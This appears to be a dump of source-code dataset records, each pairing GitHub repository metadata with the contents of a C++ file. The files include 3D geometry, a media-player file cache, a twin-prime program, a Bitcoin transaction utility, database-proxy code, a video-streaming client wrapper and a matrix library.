d6857ce99f3731a851ca5e7d67afbb13aafd18e0
[ "MIT" ]
3
2016-08-10T02:44:08.000Z
2021-05-28T23:03:10.000Z
//============================================================================ // Name : Cylinder // Author : Duarte Peixinho // Version : // Copyright : ;) // Description : Cylinder Geometry //============================================================================ #include <Pyros3D/Assets/Rende...
30.286765
166
0.585336
Peixinho
2d76b659b8afe3ecf4a4fbb6fead12f9cce200c0
13,712
cpp
C++
blades/xbmc/xbmc/filesystem/FileCache.cpp
krattai/AEBL
a7b12c97479e1236d5370166b15ca9f29d7d4265
[ "BSD-2-Clause" ]
4
2016-04-26T03:43:54.000Z
2016-11-17T08:09:04.000Z
blades/xbmc/xbmc/filesystem/FileCache.cpp
krattai/AEBL
a7b12c97479e1236d5370166b15ca9f29d7d4265
[ "BSD-2-Clause" ]
17
2015-01-05T21:06:22.000Z
2015-12-07T20:45:44.000Z
blades/xbmc/xbmc/filesystem/FileCache.cpp
krattai/AEBL
a7b12c97479e1236d5370166b15ca9f29d7d4265
[ "BSD-2-Clause" ]
3
2016-04-26T03:43:55.000Z
2020-11-06T11:02:08.000Z
/* * Copyright (C) 2005-2014 Team XBMC * http://xbmc.org * * This Program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * ...
23.399317
132
0.644545
krattai
2d77eec54291d62d8f622a9ae2d3bd464f340aac
1,199
cpp
C++
C-Plus-Plus/twin_prime.cpp
MjCode01/DS-Algo-Point
79d826fa63090014dfaab281e5170c25b86c6bbf
[ "MIT" ]
1,148
2020-09-28T15:06:16.000Z
2022-03-17T16:30:08.000Z
C-Plus-Plus/twin_prime.cpp
MjCode01/DS-Algo-Point
79d826fa63090014dfaab281e5170c25b86c6bbf
[ "MIT" ]
520
2020-09-28T18:34:26.000Z
2021-10-30T17:06:43.000Z
C-Plus-Plus/twin_prime.cpp
MjCode01/DS-Algo-Point
79d826fa63090014dfaab281e5170c25b86c6bbf
[ "MIT" ]
491
2020-09-28T18:40:14.000Z
2022-03-20T13:41:44.000Z
#include<iostream> #include<vector> using namespace std; // helper function to check if a number if prime or not bool isprime(int a){ for(int i=2;i*i<=a;i++) if(a%i==0) return false; return true; } int main(){ int a,b; cin>>a>>b;// input vector <int> prime; for(int i=a;i<b;i++){ if(isprime(i)) ...
16.887324
72
0.631359
MjCode01
2d78bedbb075d63f155dbaf249b1eca044d25218
1,882
cpp
C++
utils/add_preimage_to_signed_tx.cpp
jmjatlanta/bitcoin-toolbox
26dd27004c0e3ef13046b0aa598fba3f11dcbcc2
[ "MIT" ]
null
null
null
utils/add_preimage_to_signed_tx.cpp
jmjatlanta/bitcoin-toolbox
26dd27004c0e3ef13046b0aa598fba3f11dcbcc2
[ "MIT" ]
null
null
null
utils/add_preimage_to_signed_tx.cpp
jmjatlanta/bitcoin-toolbox
26dd27004c0e3ef13046b0aa598fba3f11dcbcc2
[ "MIT" ]
null
null
null
#include <iostream> #include <fstream> #include <vector> #include <cstdint> #include <rapidjson/rapidjson.h> #include <rapidjson/document.h> #include <transaction.hpp> #include <hex_conversion.hpp> #include <script.hpp> void print_syntax_and_exit(int argc, char**argv) { std::cerr << "Syntax: " << argv[0] << " sign...
31.366667
110
0.723167
jmjatlanta
2d7b32c84a48cb870a90be6b2bde752380007605
149
hpp
C++
Plus7/Modules/Gfx/Include/DepthState.hpp
txfx/plus7
44df3622ea8abe296d921759144e5f0d630b2945
[ "MIT" ]
null
null
null
Plus7/Modules/Gfx/Include/DepthState.hpp
txfx/plus7
44df3622ea8abe296d921759144e5f0d630b2945
[ "MIT" ]
null
null
null
Plus7/Modules/Gfx/Include/DepthState.hpp
txfx/plus7
44df3622ea8abe296d921759144e5f0d630b2945
[ "MIT" ]
null
null
null
#pragma once #include "SdlGl/GlDepthState.hpp" namespace p7 { namespace gfx { using DepthState = GlDepthState; } // namespace gfx } // namespace p7
16.555556
33
0.738255
txfx
2d7f02109fb7da4fb5f8cd8d7e38ce2635d69bd7
7,211
inl
C++
inc/lak/binary_writer.inl
LAK132/lak
cb7fbc8925d526bbd4f9318ccf572b395cdd01e3
[ "MIT", "Unlicense" ]
3
2021-07-12T02:32:50.000Z
2022-01-30T03:39:53.000Z
inc/lak/binary_writer.inl
LAK132/lak
cb7fbc8925d526bbd4f9318ccf572b395cdd01e3
[ "MIT", "Unlicense" ]
1
2020-11-03T08:57:04.000Z
2020-11-03T09:04:41.000Z
inc/lak/binary_writer.inl
LAK132/lak
cb7fbc8925d526bbd4f9318ccf572b395cdd01e3
[ "MIT", "Unlicense" ]
null
null
null
#include "lak/binary_writer.hpp" #include "lak/memmanip.hpp" #include "lak/span_manip.hpp" #include "lak/debug.hpp" /* --- to_bytes --- */ template<typename T, lak::endian E> void lak::to_bytes(lak::span<byte_t, lak::to_bytes_size_v<T, E>> bytes, const T &value) { lak::to_bytes_traits<T, E>::to_b...
23.33657
77
0.669394
LAK132
2d83dbe4e3b3ae914b47bef9ddbbf9324897e666
13,598
cpp
C++
src/common/ob_obj_type.cpp
stutiredboy/obproxy
b5f98a6e1c45e6a878376df49b9c10b4249d3626
[ "Apache-2.0" ]
74
2021-05-31T15:23:49.000Z
2022-03-12T04:46:39.000Z
src/common/ob_obj_type.cpp
stutiredboy/obproxy
b5f98a6e1c45e6a878376df49b9c10b4249d3626
[ "Apache-2.0" ]
16
2021-05-31T15:26:38.000Z
2022-03-30T06:02:43.000Z
src/common/ob_obj_type.cpp
stutiredboy/obproxy
b5f98a6e1c45e6a878376df49b9c10b4249d3626
[ "Apache-2.0" ]
64
2021-05-31T15:25:36.000Z
2022-02-23T08:43:58.000Z
/** * Copyright (c) 2021 OceanBase * OceanBase Database Proxy(ODP) is licensed under Mulan PubL v2. * You can use this software according to the terms and conditions of the Mulan PubL v2. * You may obtain a copy of Mulan PubL v2 at: * http://license.coscl.org.cn/MulanPubL-2.0 * THIS SOFTWARE IS PROVIDED ...
38.412429
145
0.474482
stutiredboy
2d84412370f53d81895beb936eaa0d3e8afa65c5
6,177
hpp
C++
modules/hfs/include/opencv2/hfs.hpp
Nondzu/opencv_contrib
0b0616a25d4239ee81fda965818b49b721620f56
[ "BSD-3-Clause" ]
36
2017-04-13T03:01:06.000Z
2022-01-09T10:38:27.000Z
modules/hfs/include/opencv2/hfs.hpp
Nondzu/opencv_contrib
0b0616a25d4239ee81fda965818b49b721620f56
[ "BSD-3-Clause" ]
13
2021-02-24T02:02:42.000Z
2022-03-16T01:42:39.000Z
modules/hfs/include/opencv2/hfs.hpp
Nondzu/opencv_contrib
0b0616a25d4239ee81fda965818b49b721620f56
[ "BSD-3-Clause" ]
25
2019-05-08T06:51:23.000Z
2021-11-18T07:13:19.000Z
// This file is part of OpenCV project. // It is subject to the license terms in the LICENSE file found in the top-level directory // of this distribution and at http://opencv.org/license.html. #include "opencv2/core.hpp" namespace cv { namespace hfs { /** @defgroup hfs Hierarchical Feature Selection for Efficient I...
40.11039
90
0.770763
Nondzu
2d85b453c4050e3c09b02049df1cafbea26612cf
688
cpp
C++
src/BH1750.cpp
JVKran/OneTimeBH1750
132515b2099f1f96e5c13cca92269151f57850f7
[ "Apache-2.0" ]
1
2020-11-24T05:27:33.000Z
2020-11-24T05:27:33.000Z
src/BH1750.cpp
JVKran/OneTimeBH1750
132515b2099f1f96e5c13cca92269151f57850f7
[ "Apache-2.0" ]
null
null
null
src/BH1750.cpp
JVKran/OneTimeBH1750
132515b2099f1f96e5c13cca92269151f57850f7
[ "Apache-2.0" ]
1
2021-05-07T18:47:46.000Z
2021-05-07T18:47:46.000Z
/* OneTime-BH1750 Library Jochem van Kranenburg - jochemvk.duckdns.org - 9 March 2020 */ #include "BH1750.h" #ifdef BH1750_ATTINY BH1750::BH1750(USI_TWI & bus, const uint8_t address): bus(bus), address(address) {} #else BH1750::BH1750(TwoWire & bus, const uint8_t address): bus(bus), address(address) {} #endif ...
19.657143
62
0.728198
JVKran
2d88e7ce82d6248f3d63d2278c6f91572baeb2df
544
cpp
C++
LeetCode/ThousandOne/0397-int_replacement.cpp
Ginkgo-Biloba/Cpp-Repo1-VS
231c68a055e6bf69a3f7c224e7c0182b67ce5b67
[ "Apache-2.0" ]
null
null
null
LeetCode/ThousandOne/0397-int_replacement.cpp
Ginkgo-Biloba/Cpp-Repo1-VS
231c68a055e6bf69a3f7c224e7c0182b67ce5b67
[ "Apache-2.0" ]
null
null
null
LeetCode/ThousandOne/0397-int_replacement.cpp
Ginkgo-Biloba/Cpp-Repo1-VS
231c68a055e6bf69a3f7c224e7c0182b67ce5b67
[ "Apache-2.0" ]
null
null
null
#include "leetcode.hpp" /* 397. 整数替换 给定一个正整数 n,你可以做如下操作: 1. 如果 n 是偶数,则用 n / 2替换 n。 2. 如果 n 是奇数,则可以用 n + 1或n - 1替换 n。 n 变为 1 所需的最小替换次数是多少? 示例 1: 输入: 8 输出: 3 解释: 8 -> 4 -> 2 -> 1 示例 2: 输入: 7 输出: 4 解释: 7 -> 8 -> 4 -> 2 -> 1 或 7 -> 6 -> 3 -> 2 -> 1 */ // 抄的,3 真是够了 int integerReplacement(int _n) { int ans = 0; uint3...
9.714286
46
0.481618
Ginkgo-Biloba
2d8bb4e1f22ea74f51b8845d67bc58bd9ffab508
10,219
cpp
C++
src/obproxy/utils/ob_proxy_utils.cpp
stutiredboy/obproxy
b5f98a6e1c45e6a878376df49b9c10b4249d3626
[ "Apache-2.0" ]
74
2021-05-31T15:23:49.000Z
2022-03-12T04:46:39.000Z
src/obproxy/utils/ob_proxy_utils.cpp
stutiredboy/obproxy
b5f98a6e1c45e6a878376df49b9c10b4249d3626
[ "Apache-2.0" ]
16
2021-05-31T15:26:38.000Z
2022-03-30T06:02:43.000Z
src/obproxy/utils/ob_proxy_utils.cpp
stutiredboy/obproxy
b5f98a6e1c45e6a878376df49b9c10b4249d3626
[ "Apache-2.0" ]
64
2021-05-31T15:25:36.000Z
2022-02-23T08:43:58.000Z
/** * Copyright (c) 2021 OceanBase * OceanBase Database Proxy(ODP) is licensed under Mulan PubL v2. * You can use this software according to the terms and conditions of the Mulan PubL v2. * You may obtain a copy of Mulan PubL v2 at: * http://license.coscl.org.cn/MulanPubL-2.0 * THIS SOFTWARE IS PROVIDED ...
30.873112
100
0.620609
stutiredboy
2d8cfdec4c380009d3527bebf17e9f376ee006e6
3,689
hpp
C++
inc/state/interfacelogicaldevices.hpp
wolfviking0/vuda
4d3593c9e06a1ff3399078e377a92ec26627c483
[ "MIT" ]
null
null
null
inc/state/interfacelogicaldevices.hpp
wolfviking0/vuda
4d3593c9e06a1ff3399078e377a92ec26627c483
[ "MIT" ]
null
null
null
inc/state/interfacelogicaldevices.hpp
wolfviking0/vuda
4d3593c9e06a1ff3399078e377a92ec26627c483
[ "MIT" ]
null
null
null
#pragma once namespace vuda { namespace detail { // // singleton interface for vulkan logical devices // class interface_logical_devices final : public singleton { public: static logical_device* create(const vk::PhysicalDevice& physDevice, const int device) { ...
37.262626
163
0.597723
wolfviking0
2d8e47b9bcb514977489671a83b5cd714b634d96
2,655
cpp
C++
src/Functions/FunctionsTonalityClassification.cpp
chalice19/ClickHouse
2f38e7bc5c2113935ab86260439bb543a1737291
[ "Apache-2.0" ]
8,629
2016-06-14T21:03:01.000Z
2019-09-23T07:46:38.000Z
src/Functions/FunctionsTonalityClassification.cpp
chalice19/ClickHouse
2f38e7bc5c2113935ab86260439bb543a1737291
[ "Apache-2.0" ]
4,335
2016-06-15T12:58:31.000Z
2019-09-23T11:18:43.000Z
src/Functions/FunctionsTonalityClassification.cpp
chalice19/ClickHouse
2f38e7bc5c2113935ab86260439bb543a1737291
[ "Apache-2.0" ]
1,700
2016-06-15T09:25:11.000Z
2019-09-23T11:16:38.000Z
#include <Common/FrequencyHolder.h> #include <Common/StringUtils/StringUtils.h> #include <Functions/FunctionFactory.h> #include <Functions/FunctionsTextClassification.h> #include <unordered_map> namespace DB { /** * Determines the sentiment of text data. * Uses a marked-up sentiment dictionary, each word has a t...
29.5
111
0.604143
chalice19
2d93e16a5984a75ba0dde7597f7d11447fea1331
2,706
cpp
C++
mpc_least_square_engl/matrix.cpp
pronenewbits/Arduino_Unconstrained_MPC_Library
e406fe1edabfaf240d0884975d0b1caf869367cb
[ "CC0-1.0" ]
38
2020-01-14T20:08:00.000Z
2022-03-05T03:12:27.000Z
mpc_opt_engl/matrix.cpp
pronenewbits/Arduino_MPC_Library
e406fe1edabfaf240d0884975d0b1caf869367cb
[ "CC0-1.0" ]
1
2021-08-25T12:40:27.000Z
2021-08-25T12:40:27.000Z
mpc_opt_engl/matrix.cpp
pronenewbits/Arduino_MPC_Library
e406fe1edabfaf240d0884975d0b1caf869367cb
[ "CC0-1.0" ]
6
2020-03-29T14:58:44.000Z
2022-03-05T03:12:29.000Z
/************************************************************************************ * Class Matrix * See matrix.h for description * * See https://github.com/pronenewbits for more! *************************************************************************************/ #include "matrix.h" Matrix operator + (c...
25.528302
87
0.533629
pronenewbits
2d945326d742fef3037228c58c61446046ef8898
2,181
cc
C++
3rdParty/s2geometry/dfefe0c/src/s2/s2closest_point_query_base_test.cc
rajeev02101987/arangodb
817e6c04cb82777d266f3b444494140676da98e2
[ "Apache-2.0" ]
12,278
2015-01-29T17:11:33.000Z
2022-03-31T21:12:00.000Z
3rdParty/s2geometry/dfefe0c/src/s2/s2closest_point_query_base_test.cc
rajeev02101987/arangodb
817e6c04cb82777d266f3b444494140676da98e2
[ "Apache-2.0" ]
9,469
2015-01-30T05:33:07.000Z
2022-03-31T16:17:21.000Z
3rdParty/s2geometry/dfefe0c/src/s2/s2closest_point_query_base_test.cc
rajeev02101987/arangodb
817e6c04cb82777d266f3b444494140676da98e2
[ "Apache-2.0" ]
892
2015-01-29T16:26:19.000Z
2022-03-20T07:44:30.000Z
// Copyright 2017 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable...
34.078125
77
0.733608
rajeev02101987
2d9599f506676e2daf5556c68954dee54ad6dc3f
1,545
hpp
C++
plugins/opengl/include/sge/opengl/vf/client_state_combiner.hpp
cpreh/spacegameengine
313a1c34160b42a5135f8223ffaa3a31bc075a01
[ "BSL-1.0" ]
2
2016-01-27T13:18:14.000Z
2018-05-11T01:11:32.000Z
plugins/opengl/include/sge/opengl/vf/client_state_combiner.hpp
cpreh/spacegameengine
313a1c34160b42a5135f8223ffaa3a31bc075a01
[ "BSL-1.0" ]
null
null
null
plugins/opengl/include/sge/opengl/vf/client_state_combiner.hpp
cpreh/spacegameengine
313a1c34160b42a5135f8223ffaa3a31bc075a01
[ "BSL-1.0" ]
3
2018-05-11T01:11:34.000Z
2021-04-24T19:47:45.000Z
// Copyright Carl Philipp Reh 2006 - 2019. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef SGE_OPENGL_VF_CLIENT_STATE_COMBINER_HPP_INCLUDED #define SGE_OPENGL_VF_CLIENT_STATE_COMBINE...
25.75
88
0.768285
cpreh
2d9691c02ca65193539f6d65ea91d70d4d191bbd
3,649
hpp
C++
Versionen/2021_06_15/rmf_ws/install/rmf_task_msgs/include/rmf_task_msgs/msg/detail/task_description__builder.hpp
flitzmo-hso/flitzmo_agv_control_system
99e8006920c03afbd93e4c7d38b4efff514c7069
[ "MIT" ]
null
null
null
Versionen/2021_06_15/rmf_ws/install/rmf_task_msgs/include/rmf_task_msgs/msg/detail/task_description__builder.hpp
flitzmo-hso/flitzmo_agv_control_system
99e8006920c03afbd93e4c7d38b4efff514c7069
[ "MIT" ]
null
null
null
Versionen/2021_06_15/rmf_ws/install/rmf_task_msgs/include/rmf_task_msgs/msg/detail/task_description__builder.hpp
flitzmo-hso/flitzmo_agv_control_system
99e8006920c03afbd93e4c7d38b4efff514c7069
[ "MIT" ]
2
2021-06-21T07:32:09.000Z
2021-08-17T03:05:38.000Z
// generated from rosidl_generator_cpp/resource/idl__builder.hpp.em // with input from rmf_task_msgs:msg/TaskDescription.idl // generated code does not contain a copyright notice #ifndef RMF_TASK_MSGS__MSG__DETAIL__TASK_DESCRIPTION__BUILDER_HPP_ #define RMF_TASK_MSGS__MSG__DETAIL__TASK_DESCRIPTION__BUILDER_HPP_ #incl...
24.006579
103
0.768978
flitzmo-hso
2d999a770e69547a1aa632af0f688ef6aabcba61
92,766
cpp
C++
kinesis-video-producer-jni/src/source/com/amazonaws/kinesis/video/producer/jni/KinesisVideoClientWrapper.cpp
yuma-m/amazon-kinesis-video-streams-producer-sdk-cpp
75087f5a90a02a47191c9278cfec329e09535e98
[ "Apache-2.0" ]
null
null
null
kinesis-video-producer-jni/src/source/com/amazonaws/kinesis/video/producer/jni/KinesisVideoClientWrapper.cpp
yuma-m/amazon-kinesis-video-streams-producer-sdk-cpp
75087f5a90a02a47191c9278cfec329e09535e98
[ "Apache-2.0" ]
null
null
null
kinesis-video-producer-jni/src/source/com/amazonaws/kinesis/video/producer/jni/KinesisVideoClientWrapper.cpp
yuma-m/amazon-kinesis-video-streams-producer-sdk-cpp
75087f5a90a02a47191c9278cfec329e09535e98
[ "Apache-2.0" ]
null
null
null
/** * Implementation of Kinesis Video Producer client wrapper */ #define LOG_CLASS "KinesisVideoClientWrapper" #include "com/amazonaws/kinesis/video/producer/jni/KinesisVideoClientWrapper.h" KinesisVideoClientWrapper::KinesisVideoClientWrapper(JNIEnv* env, jobject thiz, ...
35.366374
182
0.65773
yuma-m
2d99f73f8d3198a21805b3f715cddc56d5bfdcfd
6,561
hpp
C++
deepsim_gazebo_plugin/include/deepsim_gazebo_plugin/converters/geometry_converter.hpp
aws-deepracer/deepsim
cad2639f525c2f94ec5c03d8b855cc65b0b8ee55
[ "Apache-2.0" ]
1
2022-03-25T07:20:49.000Z
2022-03-25T07:20:49.000Z
deepsim_gazebo_plugin/include/deepsim_gazebo_plugin/converters/geometry_converter.hpp
aws-deepracer/deepsim
cad2639f525c2f94ec5c03d8b855cc65b0b8ee55
[ "Apache-2.0" ]
null
null
null
deepsim_gazebo_plugin/include/deepsim_gazebo_plugin/converters/geometry_converter.hpp
aws-deepracer/deepsim
cad2639f525c2f94ec5c03d8b855cc65b0b8ee55
[ "Apache-2.0" ]
null
null
null
/////////////////////////////////////////////////////////////////////////////////// // Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. // // // // Licensed under the Apache License, Version 2.0 (the "License")....
53.341463
103
0.667124
aws-deepracer
2d9a108d33a3cd9dff7f6081ee429615eeeaaeba
3,295
cpp
C++
src/main/cpp/sdk/MessageQueueONS.cpp
RayneHwang/rocketmq-ons-cpp
9d69c0a0e91c5030b7fe9054faed1b559d9929e9
[ "Apache-2.0", "MIT" ]
9
2019-07-30T08:08:44.000Z
2021-11-10T19:02:56.000Z
src/main/cpp/sdk/MessageQueueONS.cpp
RayneHwang/rocketmq-ons-cpp
9d69c0a0e91c5030b7fe9054faed1b559d9929e9
[ "Apache-2.0", "MIT" ]
null
null
null
src/main/cpp/sdk/MessageQueueONS.cpp
RayneHwang/rocketmq-ons-cpp
9d69c0a0e91c5030b7fe9054faed1b559d9929e9
[ "Apache-2.0", "MIT" ]
4
2019-07-30T09:41:09.000Z
2021-11-03T11:02:13.000Z
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may ...
27.923729
79
0.596965
RayneHwang
2d9aa54936e484fd5340166aa44ee8b78ba9fe74
700
cpp
C++
solutions/5.cpp
tdakhran/leetcode
ed680059661faae32857eaa791ca29c1d9c16120
[ "MIT" ]
null
null
null
solutions/5.cpp
tdakhran/leetcode
ed680059661faae32857eaa791ca29c1d9c16120
[ "MIT" ]
null
null
null
solutions/5.cpp
tdakhran/leetcode
ed680059661faae32857eaa791ca29c1d9c16120
[ "MIT" ]
null
null
null
#include <string> #include <vector> class Solution { std::string_view longestPalindrome(const std::string_view &s, size_t lo, size_t hi) { while (lo > 0 and hi < s.size() and s[lo - 1] == s[hi]) { --lo; ++hi; } return s.substr(lo, hi - lo); } public: ...
24.137931
74
0.512857
tdakhran
2d9ba9b8c49c6ad2fcf617aa97693ea9f67ecf59
7,747
hpp
C++
include/canard/net/ofp/v13/message/multipart/table_features.hpp
amedama41/bulb
2e9fd8a8c35cfc2be2ecf5f747f83cf36ffbbdbb
[ "BSL-1.0" ]
null
null
null
include/canard/net/ofp/v13/message/multipart/table_features.hpp
amedama41/bulb
2e9fd8a8c35cfc2be2ecf5f747f83cf36ffbbdbb
[ "BSL-1.0" ]
8
2016-07-21T11:29:13.000Z
2016-12-03T05:16:42.000Z
include/canard/net/ofp/v13/message/multipart/table_features.hpp
amedama41/bulb
2e9fd8a8c35cfc2be2ecf5f747f83cf36ffbbdbb
[ "BSL-1.0" ]
null
null
null
#ifndef CANARD_NET_OFP_V13_MESSAGES_MULTIPART_TABLE_FEATURES_HPP #define CANARD_NET_OFP_V13_MESSAGES_MULTIPART_TABLE_FEATURES_HPP #include <cstdint> #include <algorithm> #include <iterator> #include <utility> #include <boost/range/adaptor/sliced.hpp> #include <boost/range/algorithm/copy.hpp> #include <boost/utility/st...
26.993031
79
0.666322
amedama41
2d9c07d42d9b42e59b1a834b2253c93a3e391fcb
673
cpp
C++
Main/P1004.cpp
qinyihao/Luogu_Problem_Solver
bb4675f045affe513613023394027c3359bb0876
[ "MIT" ]
null
null
null
Main/P1004.cpp
qinyihao/Luogu_Problem_Solver
bb4675f045affe513613023394027c3359bb0876
[ "MIT" ]
null
null
null
Main/P1004.cpp
qinyihao/Luogu_Problem_Solver
bb4675f045affe513613023394027c3359bb0876
[ "MIT" ]
null
null
null
#include<bits/stdc++.h> #define max(u,v) u>v ? u:v int a[10][10], f[10][10][10][10], x, y, n, k; int main() { scanf("%d",&n); while(scanf("%d%d%d", &x, &y, &k) == 3 && x) { a[x][y] = k; } for(int i = 1; i <= n; i++) for(int j = 1; j <= n; j++) for(int k = 1; k <= n; k++) for(int l = 1; l <= n; l++...
25.884615
56
0.380386
qinyihao
2d9e5de236720bc7b8efb91dceb232bb0a3f6f78
316
cpp
C++
engine/gtp/Move.cpp
imalerich/imgo
1dc999b62d95b74dd992fd1daf1cb0d974bba8a7
[ "MIT" ]
null
null
null
engine/gtp/Move.cpp
imalerich/imgo
1dc999b62d95b74dd992fd1daf1cb0d974bba8a7
[ "MIT" ]
null
null
null
engine/gtp/Move.cpp
imalerich/imgo
1dc999b62d95b74dd992fd1daf1cb0d974bba8a7
[ "MIT" ]
null
null
null
#include "Move.hpp" namespace gtp { ArgMove::ArgMove(std::string color, std::string vertex) { iArgument::type = ARG_MOVE; this->color = Color(color); this->vertex = Vertex(vertex); } ArgMove::ArgMove(Color color, Vertex vertex) { iArgument::type = ARG_MOVE; this->color = color; this->vertex = vertex; } }
17.555556
57
0.689873
imalerich
2da7120f1e231f9f4eb9610c14a9a4e1c579edcc
1,874
cpp
C++
src/Nazara/Physics3D/Systems/Physics3DSystem.cpp
jayrulez/NazaraEngine
e0310cd141f3cc11dbe8abfd5bfedf6b61de1a99
[ "BSD-3-Clause-Clear", "Apache-2.0", "MIT" ]
11
2019-11-27T00:40:43.000Z
2020-01-29T14:31:52.000Z
src/Nazara/Physics3D/Systems/Physics3DSystem.cpp
jayrulez/NazaraEngine
e0310cd141f3cc11dbe8abfd5bfedf6b61de1a99
[ "BSD-3-Clause-Clear", "Apache-2.0", "MIT" ]
7
2019-11-27T00:29:08.000Z
2020-01-08T18:53:39.000Z
src/Nazara/Physics3D/Systems/Physics3DSystem.cpp
jayrulez/NazaraEngine
e0310cd141f3cc11dbe8abfd5bfedf6b61de1a99
[ "BSD-3-Clause-Clear", "Apache-2.0", "MIT" ]
7
2019-11-27T10:27:40.000Z
2020-01-15T17:43:33.000Z
// Copyright (C) 2022 Jérôme "Lynix" Leclercq (lynix680@gmail.com) // This file is part of the "Nazara Engine - Physics3D module" // For conditions of distribution and use, see copyright notice in Config.hpp #include <Nazara/Physics3D/Systems/Physics3DSystem.hpp> #include <Nazara/Utility/Components/NodeComponent.hpp> ...
34.072727
114
0.763074
jayrulez
2da762afeda7e9876d6ccb0b26502ca6740d16df
3,491
hpp
C++
measurer/hotspot-measurer/hotspot/src/share/vm/shark/sharkMemoryManager.hpp
armoredsoftware/protocol
e3b0c1df8bc1027865caec6d117e5925f71f26d2
[ "BSD-3-Clause" ]
184
2015-01-04T03:38:20.000Z
2022-03-30T05:47:21.000Z
measurer/hotspot-measurer/hotspot/src/share/vm/shark/sharkMemoryManager.hpp
armoredsoftware/protocol
e3b0c1df8bc1027865caec6d117e5925f71f26d2
[ "BSD-3-Clause" ]
1
2016-01-17T09:18:17.000Z
2016-01-17T09:18:17.000Z
measurer/hotspot-measurer/hotspot/src/share/vm/shark/sharkMemoryManager.hpp
armoredsoftware/protocol
e3b0c1df8bc1027865caec6d117e5925f71f26d2
[ "BSD-3-Clause" ]
101
2015-01-16T23:46:31.000Z
2022-03-30T05:47:06.000Z
/* * Copyright (c) 1999, 2010, Oracle and/or its affiliates. All rights reserved. * Copyright 2009 Red Hat, Inc. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 on...
35.989691
79
0.689774
armoredsoftware
2da85679ccacda2a91a386f0117749e402e5354a
3,196
cpp
C++
tests/runtime_tests/EvaluatorSymbolTests.cpp
smacdo/Shiny
580f8bb240b3ece72d7181288bacaba5ecd7071e
[ "Apache-2.0" ]
null
null
null
tests/runtime_tests/EvaluatorSymbolTests.cpp
smacdo/Shiny
580f8bb240b3ece72d7181288bacaba5ecd7071e
[ "Apache-2.0" ]
null
null
null
tests/runtime_tests/EvaluatorSymbolTests.cpp
smacdo/Shiny
580f8bb240b3ece72d7181288bacaba5ecd7071e
[ "Apache-2.0" ]
null
null
null
#include "support/EvaluatorFixture.h" #include "runtime/Evaluator.h" #include "runtime/RuntimeApi.h" #include "runtime/Value.h" #include "runtime/VmState.h" #include "support/TestHelpers.h" #include <catch2/catch.hpp> using namespace Shiny; TEST_CASE_METHOD(EvaluatorFixture, "Is symbol", "[Procedures]") { SECTIO...
32.948454
77
0.622653
smacdo
2daa4653b63c29e83b8580adac1839f1f968bc6c
15,714
cpp
C++
util/DataType.cpp
rlannon/SINx86
b94b5bbcc516cd2fa17c7093e4c6e0f391265063
[ "MIT" ]
null
null
null
util/DataType.cpp
rlannon/SINx86
b94b5bbcc516cd2fa17c7093e4c6e0f391265063
[ "MIT" ]
16
2020-01-10T16:46:02.000Z
2021-04-11T22:35:01.000Z
util/DataType.cpp
rlannon/SINx86
b94b5bbcc516cd2fa17c7093e4c6e0f391265063
[ "MIT" ]
null
null
null
/* SIN Toolchain DataType.cpp Copyright 2019 Riley Lannon Implementation of the DataType class */ #include "DataType.h" void DataType::set_width() { /* set_width Sets the width of the DataType object based on its type and qualities Note that this function will not set the type width to PTR_WIDTH for dynamic...
27.568421
310
0.689322
rlannon
2dabd1f93ff71ec3589d041f8f6095c65b185392
1,765
cxx
C++
main/shell/source/all/ooofilereader/simpletag.cxx
Grosskopf/openoffice
93df6e8a695d5e3eac16f3ad5e9ade1b963ab8d7
[ "Apache-2.0" ]
679
2015-01-06T06:34:58.000Z
2022-03-30T01:06:03.000Z
main/shell/source/all/ooofilereader/simpletag.cxx
Grosskopf/openoffice
93df6e8a695d5e3eac16f3ad5e9ade1b963ab8d7
[ "Apache-2.0" ]
102
2017-11-07T08:51:31.000Z
2022-03-17T12:13:49.000Z
main/shell/source/all/ooofilereader/simpletag.cxx
Grosskopf/openoffice
93df6e8a695d5e3eac16f3ad5e9ade1b963ab8d7
[ "Apache-2.0" ]
331
2015-01-06T11:40:55.000Z
2022-03-14T04:07:51.000Z
/************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to y...
28.467742
83
0.666289
Grosskopf
2dad1d80e2e2d05ab6e94b559d40438da7e0297a
885
cpp
C++
src/ivf/plane.cpp
jonaslindemann/ivf2
67bee6c36b5824d045957ea2b223bc0595d59b47
[ "MIT" ]
1
2021-09-12T12:10:19.000Z
2021-09-12T12:10:19.000Z
src/ivf/plane.cpp
jonaslindemann/ivf2
67bee6c36b5824d045957ea2b223bc0595d59b47
[ "MIT" ]
null
null
null
src/ivf/plane.cpp
jonaslindemann/ivf2
67bee6c36b5824d045957ea2b223bc0595d59b47
[ "MIT" ]
null
null
null
#include <ivf/plane.h> #include <generator/PlaneMesh.hpp> using namespace ivf; using namespace generator; Plane::Plane(double width, double depth, int rows, int cols) :m_width(width), m_depth(depth), m_rows(rows), m_cols(cols) { this->doSetup(); } std::shared_ptr<Plane> Plane::create(double wi...
21.071429
84
0.684746
jonaslindemann
2db05e592c573a07efaba293fa1b3fed85d2e1b5
38
cpp
C++
lander.cpp
nathan-tagg/skeet
ed3909ba63863c8120ddf290286fa6b2502a5874
[ "MIT" ]
1
2016-04-05T20:06:13.000Z
2016-04-05T20:06:13.000Z
lander.cpp
nathan-tagg/skeet
ed3909ba63863c8120ddf290286fa6b2502a5874
[ "MIT" ]
null
null
null
lander.cpp
nathan-tagg/skeet
ed3909ba63863c8120ddf290286fa6b2502a5874
[ "MIT" ]
null
null
null
// lander bird // #include "lander.h"
12.666667
19
0.631579
nathan-tagg
2db0b1b0f6bbfcd17425987bfa2da490ea3dd3f4
5,002
cpp
C++
RubbishDebugger/PortableExecutable.cpp
